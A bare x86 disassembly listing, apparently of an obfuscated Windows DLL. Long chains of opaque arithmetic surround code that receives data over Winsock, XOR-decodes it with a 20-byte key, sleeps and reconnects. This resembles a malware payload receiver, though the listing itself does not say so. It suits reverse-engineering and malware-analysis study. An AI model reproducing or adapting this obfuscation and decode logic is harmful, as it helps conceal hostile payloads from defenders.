mov eax, dword [0x100be9bc]
and eax, dword [0x100be9c0]
and eax, 0x4df74c1c
add eax, 0x6ae97b49
add eax, 0x35e036d7
imul eax, eax, 0x68d40e46
imul eax, eax, 0xfd449692
and eax, 0x129b30
xor eax, 0xe94bd157
imul eax, eax, 0x89b18150
and eax, 0x8dca771e
xor eax, 0xa99ad724
xor eax, 0x1c625a19
imul eax, eax, 0xc5e95deb
or eax, 0x8e5f2315
imul eax, eax, 0x58a2274c
or eax, 0xfac9621a
mov ecx, 0xbe47a09d
xor edx, edx
div ecx
xor eax, 0x490949df
xor eax, 0x5714ec3c
sub eax, 0x770fff22
or eax, 0xc4471d88
imul eax, eax, 0xdbba8e2
add eax, 0xb90b50f6
and eax, 0x1d85b2d7
mov ecx, 0x8714cf44
xor edx, edx
div ecx
xor eax, 0x6edd0a02
add eax, 0x6a9bc331
xor eax, 0xbc420073
imul eax, eax, 0xbdd58775
mov ecx, 0x9eb73aa1
xor edx, edx
div ecx
sub eax, 0xdea04f34
or eax, 0x2484afcf
mov ecx, 0x2f90aab0
xor edx, edx
div ecx
imul eax, eax, 0xf17d4753
and eax, 0x7581486a
mov ecx, 0xe012084f
xor edx, edx
div ecx
sub eax, 0xf39464fe
mov ecx, 0x4428907
xor edx, edx
div ecx
add eax, 0xa17c130f
or eax, 0xe3584f65
sub eax, 0x5da7e91
or eax, 0x1926d64
or eax, 0xb5a85107
sub eax, 0x8a3c7204
and eax, 0x757f8fa7
imul eax, eax, 0x722c1195
and eax, 0x37a58eae
or eax, 0xc64abf8a
xor eax, 0xc9fcea4c
xor eax, 0x4353e2eb
xor eax, 0xca0b5044
sub eax, 0xdeb8f89a
mov ecx, 0x16c23b38
xor edx, edx
div ecx
or eax, 0x52b68eab
add eax, 0x8cb0304f
and eax, 0xd176d67c
or eax, 0xd8c132b5
imul eax, eax, 0x3bbc4e8e
xor eax, 0xa983eb58
mov ecx, 0x39c5be46
xor edx, edx
div ecx
imul eax, eax, 0x35f90697
sub eax, 0xd298eb37
sub eax, 0x67439af5
add eax, 0x8307477
imul eax, eax, 0x5062c0f8
add eax, 0xc1dbd9e9
xor eax, 0xd9fcc7af
mov ecx, 0x4de87e0c
xor edx, edx
div ecx
mov ecx, 0x1edc0b75
xor edx, edx
div ecx
mov ecx, dword [esi + 0xfc]
mov edx, dword [esi + 0xec]
and eax, 0x7f0037a7
and eax, 0x7a0a46f6
sub eax, 0x796f02cf
sub eax, 0x3ee4702d
mov ebx, dword [ebx]
movzx ecx, byte [ecx + ebx]
mov edi, dword [edi]
movsx ebx, byte [edx + edi]
xor ebx, ecx
mov ecx, dword [esi + 0x100]
mov byte [edx + edi], bl
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp dword [ecx], 0x14
setge cl
mov byte [esi + 0x16], cl
cmp eax, 0xfd8200f
jbe 0x1005102f
mov al, byte [esi + 0x16]
test al, 1
jne 0x10050100
jmp 0x100504a5
mov eax, dword [0x100be9c4]
xor eax, dword [0x100be9c8]
add eax, 0xe52e9724
imul eax, eax, 0xf317ce9b
add eax, 0x1439e41f
mov ecx, 0x668e75cf
xor edx, edx
div ecx
xor eax, 0x4fc8f81c
imul eax, eax, 0xeb9072ff
mov ecx, 0xd6cdc701
xor edx, edx
div ecx
and eax, 0xfdca7a99
mov ecx, 0x170723de
xor edx, edx
div ecx
mov ecx, 0xee1c9f7a
xor edx, edx
div ecx
mov ecx, 0x63f2f669
xor edx, edx
div ecx
sub eax, 0xd2e95e71
and eax, 0xfdbfb40e
and eax, 0xc39a84fb
or eax, 0x380c8be5
or eax, 0x1516f3f3
sub eax, 0x4bd2d349
sub eax, 0x1c408a6f
add eax, 0xd82b0bc5
and eax, 0xa8cd218e
imul eax, eax, 0x7f92137c
or eax, 0xd2e5926
add eax, 0xdb6e8128
add eax, 0xd3c09c75
mov ecx, 0x9e3151e1
xor edx, edx
div ecx
and eax, 0x9c240db2
xor eax, 0xd3c6d196
add eax, 0xb28eb5db
or eax, 0x5b1ef1cd
and eax, 0xf955604c
imul eax, eax, 0x2fed3488
or eax, 0x8ffe2fc2
imul eax, eax, 0x50a96472
or eax, 0x335bf5e4
sub eax, 0xf037608d
add eax, 0x9da732c2
mov ecx, 0xc390670
xor edx, edx
div ecx
add eax, 0xf79d30a5
sub eax, 0x87cd5c11
mov ecx, 0x65116603
xor edx, edx
div ecx
xor eax, 0xf35666c5
sub eax, 0xb6de64f5
add eax, 0x82e3c8a9
mov ecx, 0x7c7fd288
xor edx, edx
div ecx
add eax, 0x1c9d83ab
or eax, 0x6e74c67a
sub eax, 0x45c8e225
sub eax, 0x356a5772
mov ecx, 0x3d84dd8f
xor edx, edx
div ecx
add eax, 0x9a087883
sub eax, 0x32ea37f8
mov ecx, 0xa1c4c731
xor edx, edx
div ecx
and eax, 0x29c8e209
or eax, 0x3a4e73c4
add eax, 0x8638171e
add eax, 0x8bd22fa2
xor eax, 0x10d8c88
imul eax, eax, 0xb7de0470
mov ecx, 0x69597d12
xor edx, edx
div ecx
sub eax, 0x759480d6
xor eax, 0x2ff3760f
xor eax, 0xf854adae
or eax, 0x14072909
add eax, 0x21d5708a
mov ecx, 0x8f18849f
xor edx, edx
div ecx
imul eax, eax, 0x6383f46c
mov ecx, 0x465fc6ec
xor edx, edx
div ecx
or eax, 0xd32dd628
add eax, 0x18ee7d44
and eax, 0x42586087
sub eax, 0xeb81a84d
sub eax, 0xee739674
cmp eax, 0x46de36b5
jbe 0x10051064
mov eax, dword [0x100be9cc]
xor edx, edx
div dword [0x100be9d0]
mov ecx, 0xa2daff8f
xor edx, edx
div ecx
imul eax, eax, 0x15bb5760
and eax, 0x8ade58c
or eax, 0x60d69c30
xor eax, 0x39b0ab77
or eax, 0x3727de7a
imul eax, eax, 0xe97086a7
mov ecx, 0x93180e35
xor edx, edx
div ecx
sub eax, 0xfddb015c
add eax, 0x29a20c06
imul eax, eax, 0xd36d4620
sub eax, 0x74966cba
mov ecx, 0x2922d39f
xor edx, edx
div ecx
and eax, 0xa8725395
sub eax, 0x105641b0
and eax, 0x659c902b
xor eax, 0xa8d86b70
or eax, 0xc8b9517d
add eax, 0xa5c40157
xor eax, 0x1ce8863d
sub eax, 0x134d9873
mov ecx, 0xf46270bf
xor edx, edx
div ecx
mov ecx, 0x66c9b667
xor edx, edx
div ecx
xor eax, 0xc5a14f2
sub eax, 0x18b4ee7d
mov ecx, 0xfeb7cb90
xor edx, edx
div ecx
imul eax, eax, 0x53fb479f
sub eax, 0xc4ae57a3
xor eax, 0xd134ef40
and eax, 0x64687354
imul eax, eax, 0x374b058b
xor eax, 0xf697708d
or eax, 0x4d5009a9
sub eax, 0xc92b7995
mov ecx, 0xc06e3eb0
xor edx, edx
div ecx
xor eax, 0xca5b9144
add eax, 0x794f49c
mov ecx, 0x6d6be661
xor edx, edx
div ecx
and eax, 0xa437cfe8
or eax, 0x345f97d2
mov ecx, 0xa11d627c
xor edx, edx
div ecx
sub eax, 0x2d2d5d7f
xor eax, 0x975c98f5
imul eax, eax, 0xffe39766
imul eax, eax, 0x89603c25
imul eax, eax, 0xaea913c7
add eax, 0x5a865249
and eax, 0xdd4e601f
sub eax, 0x3d56fb13
add eax, 0xa75f1023
add eax, 0x10e67866
mov ecx, 0xa6852a8b
xor edx, edx
div ecx
imul eax, eax, 0xf40f9b7d
imul eax, eax, 0xc68a4434
and eax, 0x6c291191
and eax, 0xc96796e7
and eax, 0x995631ba
and eax, 0x94280c3a
sub eax, 0x12de65f3
sub eax, 0xd92d9b14
add eax, 0xede21191
add eax, 0x96ff9579
imul eax, eax, 0xbfcc1a48
or eax, 0xda4d5148
or eax, 0x2b74f403
or eax, 0xd64ea183
sub eax, 0xa6bd8f89
add eax, 0xfbd14d6c
mov ecx, 0x34b10376
xor edx, edx
div ecx
mov ecx, 0x8874fc09
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x100]
or ecx, 0x403f8c81
sub ecx, 0xe6be0b9e
mov dword [esi + 0x10], ecx
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10011630
mov eax, dword [esi + 0x10]
add esp, 4
cmp eax, 0x5c3522e1
jae 0x100502bd
jmp 0x100504a5
jmp 0x100504aa
mov eax, dword [0x100be9d4]
sub eax, dword [0x100be9d8]
and eax, 0xe0765e9
mov ecx, 0x8faeb508
xor edx, edx
div ecx
and eax, 0xa9387962
xor eax, 0x33ed1678
xor eax, 0x7ab8bb82
or eax, 0x732724be
xor eax, 0x8ff7ad46
or eax, 0x2dbd26b0
imul eax, eax, 0x868001f2
and eax, 0xff4b17d8
xor eax, 0x533c92a5
and eax, 0x6b9b980e
xor eax, 0x16dcb533
imul eax, eax, 0x7527cec0
add eax, 0xd5d01a29
mov ecx, 0xfd1727a9
xor edx, edx
div ecx
add eax, 0x357e2093
sub eax, 0x48945107
or eax, 0x9f830dc7
and eax, 0x9953025c
imul eax, eax, 0x7e44cfc4
mov ecx, 0x33bc6e0d
xor edx, edx
div ecx
imul eax, eax, 0xa4ff58c3
imul eax, eax, 0x68359bc1
imul eax, eax, 0xf41885b0
or eax, 0xc8cabed6
xor eax, 0x8163e7d3
add eax, 0x42ce23fe
imul eax, eax, 0x79bf5734
sub eax, 0xfeeda78e
sub eax, 0xbcca1d6
mov ecx, 0xcbc2900d
xor edx, edx
div ecx
mov ecx, 0xc57807d8
xor edx, edx
div ecx
and eax, 0xe77ab1d5
add eax, 0xd60e9080
imul eax, eax, 0xa5c78ac7
sub eax, 0x4dacb858
or eax, 0xb011499c
mov ecx, 0x3b7f98a2
xor edx, edx
div ecx
mov ecx, 0xbc46e719
xor edx, edx
div ecx
imul eax, eax, 0xef90fc41
mov ecx, 0x1aa3ccf4
xor edx, edx
div ecx
add eax, 0x1679cba0
sub eax, 0x14239c6f
mov ecx, 0xa748184f
xor edx, edx
div ecx
mov ecx, 0x26864c5e
xor edx, edx
div ecx
xor eax, 0x36deaae2
sub eax, 0x1e7b8fbf
and eax, 0xc2eab461
and eax, 0xfb467292
and eax, 0x3587e08b
imul eax, eax, 0xec2abc6
mov ecx, 0x6387c1b7
xor edx, edx
div ecx
xor eax, 0x70c03f42
imul eax, eax, 0xbb628c67
or eax, 0x71cd51d8
or eax, 0x27eb3e8c
mov ecx, 0x1f3fb242
xor edx, edx
div ecx
and eax, 0xb1c424d5
add eax, 0x38d62ee5
sub eax, 0x18ad94dd
and eax, 0xa78f5319
imul eax, eax, 0x5128926a
imul eax, eax, 0x997943e0
imul eax, eax, 0xe036c10a
or eax, 0x2c4fe835
sub eax, 0x862c9499
and eax, 0x166f0170
imul eax, eax, 0xaefb9c21
imul eax, eax, 0xb499c54c
add eax, 0xfd15de5c
xor eax, 0x8787bfb1
cmp eax, 0x1b8901b5
je 0x10051087
mov ecx, dword [esi + 0x10c]
mov eax, dword [0x100be9dc]
and eax, dword [0x100be9e0]
imul eax, eax, 0x4d326bf0
or eax, 0x421c16d3
imul eax, eax, 0xb93c593b
add eax, 0xe14eeb94
or eax, 0xa9e428d5
or eax, 0xfdebaf25
and eax, 0x32ef7d6c
imul eax, eax, 0xcc59e7d2
sub eax, 0x2ff65015
sub eax, 0x589eee35
sub eax, 0x19d94bd5
xor eax, 0x7f2012f
xor eax, 0x3ee43c95
and eax, 0x9d1a570c
and eax, 0x1d149810
xor eax, 0xe799617d
and eax, 0x39702db7
add eax, 0x6a46a028
sub eax, 0x23886828
add eax, 0x718daf1f
xor eax, 0x1784848e
xor eax, 0x994d9bb7
sub eax, 0x6bedc794
and eax, 0x64a15b01
imul eax, eax, 0xf552f506
add eax, 0x6a82daa0
or eax, 0x1374f338
or eax, 0xb80c8ec3
imul eax, eax, 0x55b66964
imul eax, eax, 0xc9621e7c
and eax, 0x3b629211
imul eax, eax, 0xe7d86a22
imul eax, eax, 0xf612822f
sub eax, 0x2094e877
and eax, 0xae824aba
imul eax, eax, 0x37c235a5
xor eax, 0xe6113951
or eax, 0xa536eaa6
mov edi, 0x50a4a685
xor edx, edx
div edi
and eax, 0x888408ff
sub eax, 0xb577aa8b
or eax, 0xee0df986
mov edi, 0xe05c112a
xor edx, edx
div edi
xor eax, 0xed5057ab
or eax, 0xb65d6b96
sub eax, 0x9c73e89e
xor eax, 0x15297b59
mov edi, 0x2cef65fd
xor edx, edx
div edi
and eax, 0x7e3f95c1
sub eax, 0x81ab6f30
and eax, 0x8fd29f99
sub eax, 0x96ee0875
mov edi, 0xd568dcac
xor edx, edx
div edi
xor eax, 0x5375125e
and eax, 0xad63bed
and eax, 0xeb1de7fd
xor eax, 0xc8f8185d
or eax, 0x263e545d
add eax, 0x7701cf05
or eax, 0xada26409
or eax, 0x7aae1cd9
mov edi, 0x69457cb8
xor edx, edx
div edi
add eax, 0x1c67318e
xor eax, 0x82d265f8
add eax, 0xd7cb6d08
imul eax, eax, 0x957aa9c2
xor eax, 0x9948be11
or eax, 0xa368d609
add eax, 0x232c2060
or eax, 0x3e3a76ce
add eax, 0xd2411b10
mov edi, 0x1246a7ea
xor edx, edx
div edi
mov edx, dword [ecx]
add edx, 1
mov dword [ecx], edx
cmp eax, 0x82fee398
je 0x10050668
jmp 0x1004f635
mov ecx, dword [esi + 0xec]
mov edi, dword [esi + 0xf4]
mov eax, dword [esi + 0xf0]
mov edx, dword [esi + 0x48]
mov ebx, dword [esi + 0xf8]
mov dword [ebx], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [edi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10069e50
mov edx, dword [esi + 0xf0]
mov ecx, dword [esi + 0xf4]
mov eax, dword [esi + 0xec]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1006a950
add esp, 0xc
mov eax, dword [esi + 0xf0]
cmp dword [eax], 0
jg 0x1004e6db
mov eax, dword [0x100be9e4]
or eax, dword [0x100be9e8]
and eax, 0xfd7d7cf9
sub eax, 0x5c781223
xor eax, 0xf45f39ba
imul eax, eax, 0xbe29a1ef
mov ecx, 0xa69d0317
xor edx, edx
div ecx
add eax, 0x21ac5859
sub eax, 0xf06d8b45
or eax, 0xe894125d
sub eax, 0xd4a80567
imul eax, eax, 0x3094f2b3
xor eax, 0x19ea1557
or eax, 0x891dbb0
and eax, 0x5e282604
sub eax, 0x84de34f1
imul eax, eax, 0x129076ba
xor eax, 0xe18e095e
xor eax, 0x73eeb81
or eax, 0x1fe9f258
sub eax, 0x41647dd1
or eax, 0x6329db1e
sub eax, 0xf7d2aa6c
mov ecx, 0x46b25533
xor edx, edx
div ecx
add eax, 0x14e4d733
or eax, 0x749746b
sub eax, 0xcccd1c6f
sub eax, 0x4cb601
add eax, 0xf2810d79
sub eax, 0x97b676cf
or eax, 0xd9600a08
add eax, 0x5478466d
mov ecx, 0x96ab8cea
xor edx, edx
div ecx
add eax, 0xe9042cb2
xor eax, 0x2a540316
imul eax, eax, 0xc440e94
imul eax, eax, 0xa8b0077b
xor eax, 0xb7912c74
sub eax, 0xe69b5dfe
imul eax, eax, 0x7f7cb018
xor eax, 0xc962101e
mov ecx, 0x976a3641
xor edx, edx
div ecx
mov ecx, 0x1864f21
xor edx, edx
div ecx
add eax, 0x5297860f
or eax, 0xae676888
mov ecx, 0x3ea694d
xor edx, edx
div ecx
add eax, 0x3b75ab33
imul eax, eax, 0x27556638
sub eax, 0xd262c36f
or eax, 0x9df5d707
add eax, 0xfecc674b
imul eax, eax, 0x7efd7b53
imul eax, eax, 0x2679fda8
imul eax, eax, 0xecd324eb
imul eax, eax, 0x3b5c8dd9
or eax, 0x944ccb5
imul eax, eax, 0x4ba51d26
xor eax, 0xc4a3d49f
xor eax, 0x4788b85f
add eax, 0xcdde57e9
xor eax, 0xa8f9cab3
mov ecx, 0x68800306
xor edx, edx
div ecx
and eax, 0x34961f0a
xor eax, 0x3362aff3
and eax, 0x98b591f5
add eax, 0x77b804f2
imul eax, eax, 0x74a0932c
and eax, 0x2a4b53af
xor eax, 0x41820c26
mov ecx, 0x3858fc5e
xor edx, edx
div ecx
or eax, 0x63640786
or eax, 0x662253c8
xor eax, 0xc7648975
sub eax, 0xeec17195
cmp eax, 0xf52508c2
jae 0x10051099
mov edi, dword [esi + 0x44]
mov eax, dword [0x100be9ec]
add eax, dword [0x100be9f0]
xor eax, 0x9f812af2
sub eax, 0x4c6b9375
and eax, 0xee8e2a42
or eax, 0xf40faca8
or eax, 0x223a8143
imul eax, eax, 0xfbea3155
sub eax, 0xb24567c0
add eax, 0xc07d7aa6
xor eax, 0x4f964a48
and eax, 0xb874375
sub eax, 0xae7c4c34
mov ecx, 0xb3fd1e2c
xor edx, edx
div ecx
and eax, 0xb6ae4f25
mov ecx, 0x51cb5a96
xor edx, edx
div ecx
and eax, 0xaed8009a
sub eax, 0xfd747cb9
sub eax, 0xb35675f9
xor eax, 0xca25d5f
add eax, 0xe6e73417
and eax, 0xf4df3e96
or eax, 0x828026c6
or eax, 0x8ebefa16
imul eax, eax, 0x657afede
and eax, 0x5b048f38
imul eax, eax, 0x26554ec3
add eax, 0xb0d9cdca
mov ecx, 0x4d8360fe
xor edx, edx
div ecx
or eax, 0x9f9e3f95
sub eax, 0xc221d9f3
and eax, 0x478de1a6
sub eax, 0xa77185e9
sub eax, 0x50e62912
add eax, 0xeb82e72d
xor eax, 0x566ca82e
and eax, 0x7e9e7d61
xor eax, 0x27a9073
xor eax, 0x2767458a
sub eax, 0x71251eaf
or eax, 0xeca3c700
or eax, 0xbec87d68
sub eax, 0x35a758a
mov ecx, 0x8be08d3d
xor edx, edx
div ecx
and eax, 0x3b18c087
sub eax, 0xcbec1cb0
sub eax, 0x14acf78f
add eax, 0xa5c1af8e
mov ecx, 0x5f8318a2
xor edx, edx
div ecx
mov ecx, 0x2e9d8ef9
xor edx, edx
div ecx
or eax, 0xdf3e6349
imul eax, eax, 0x6804c81f
add eax, 0xb8654756
and eax, 0x8d928b4f
or eax, 0xc6f949ed
and eax, 0x5813a05a
xor eax, 0x3d9f15ff
imul eax, eax, 0x200416af
add eax, 0x796115a0
mov ecx, 0x336c4932
xor edx, edx
div ecx
add eax, 0xa1883604
imul eax, eax, 0x464bb774
imul eax, eax, 0x8763bd71
and eax, 0x810e8a60
imul eax, eax, 0xdebce632
or eax, 0x82eba0ef
mov ecx, 0x5049be1e
xor edx, edx
div ecx
imul eax, eax, 0x32e328ea
mov ecx, 0x5786273
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0xdc]
sub ecx, 0x866828a8
sub ecx, 0x3aaef032
xor ecx, 0x987d4b20
imul ecx, ecx, 0xa7e11574
add ecx, 0x7b1d067
mov dword [esi + 0xc], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x48]
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0xc]
mov edi, dword [edi]
mov edi, dword [edi]
mov ebx, dword [edi]
sub ebx, 0x2c
mov dword [edi], ebx
mov edi, dword [edx]
mov edi, dword [edi]
add edi, 0x2c
mov edx, dword [edx]
mov dword [edx], edi
mov dword [ecx], 1
cmp eax, 0xb92fbf73
jb 0x10050a4b
jmp 0x10050c41
mov eax, dword [esi + 0x40]
mov eax, dword [eax]
mov dword [esi + 8], eax
mov ecx, dword [esi + 0x148]
xor ecx, ebp
call fcn.10066f8f
mov eax, dword [esi + 8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x84]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x88]
mov eax, dword [esi + 0x90]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1006a950
mov eax, dword [esi + 0x90]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
jmp 0x1004d1e5
mov ecx, dword [esi + 0x8c]
mov edx, dword [esi + 0x98]
mov eax, dword [esi + 0x70]
mov edi, dword [esi + 0x94]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x8c]
mov eax, dword [esi + 0x74]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0x9c]
mov edx, eax
mov eax, dword [esi + 0x138]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x1004d605
mov edi, dword [esi + 0xdc]
sub esp, 4
mov dword [esp], 0x104
call fcn.10066f81
mov edx, dword [esi + 0xe4]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xe0]
mov dword [eax], ecx
mov ecx, dword [0x100bd20f]
mov dword [edx], ecx
mov ecx, dword [0x100bd213]
mov dword [edx + 4], ecx
mov ecx, dword [0x100bd217]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10087c90
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x50]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x54]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov ecx, dword [esi + 0xe0]
add esp, 8
mov eax, dword [esi + 0x4c]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
add esp, 8
mov eax, dword [esi + 0xe0]
mov ecx, dword [eax]
lea eax, [0x100b2496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10087ca0
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xc0]
add esp, 8
mov eax, dword [esi + 0xe8]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 4], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.10087e20
mov edx, dword [esi + 0xe8]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 4]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0xd4]
mov dword [eax], ecx
jmp 0x1004dc74
mov eax, dword [esi + 0x40]
mov dword [eax], 0
jmp 0x1004e14e
mov edi, dword [esi + 0xf0]
mov eax, dword [esi + 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1006a950
mov edx, dword [esi + 0xf4]
mov ecx, dword [esi + 0xf8]
mov eax, dword [esi + 0x100]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
jmp 0x1004e4c3
mov eax, dword [esi + 0xec]
mov ecx, dword [esi + 0xdc]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xf0]
mov ecx, dword [esi + 0xec]
mov edi, eax
mov eax, dword [esi + 0x104]
mov dword [edx], edi
mov edx, dword [0x100bd21f]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10048c40
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0x108]
mov dword [eax], ecx
jmp 0x1004e88a
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x48]
mov edx, dword [esi + 0x4c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1004c4b0
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x40]
mov dword [eax], ecx
jmp 0x1004ec7b
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0xec]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1003d060
mov ecx, dword [esi + 0xfc]
mov edx, dword [esi + 0x44]
add esp, 0xc
mov eax, dword [esi + 0xec]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1003d060
add esp, 0xc
mov eax, dword [esi + 0x44]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10066f81
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x48]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x1004f05b
mov eax, dword [esi + 0x10c]
mov dword [eax], 0
jmp 0x1004f47a
jmp 0x1004f7f3
mov eax, dword [esi + 0x100]
mov dword [eax], 0
jmp 0x1004fb9b
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0xec]
mov edx, dword [esi + 0x10c]
mov edi, dword [esi + 0xfc]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x1004feff
mov eax, dword [esi + 0x100]
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10011630
add esp, 4
jmp 0x100502bd
mov eax, dword [esi + 0x10c]
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x10050668
mov eax, dword [esi + 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x44]
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x40]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
jmp 0x10050a4b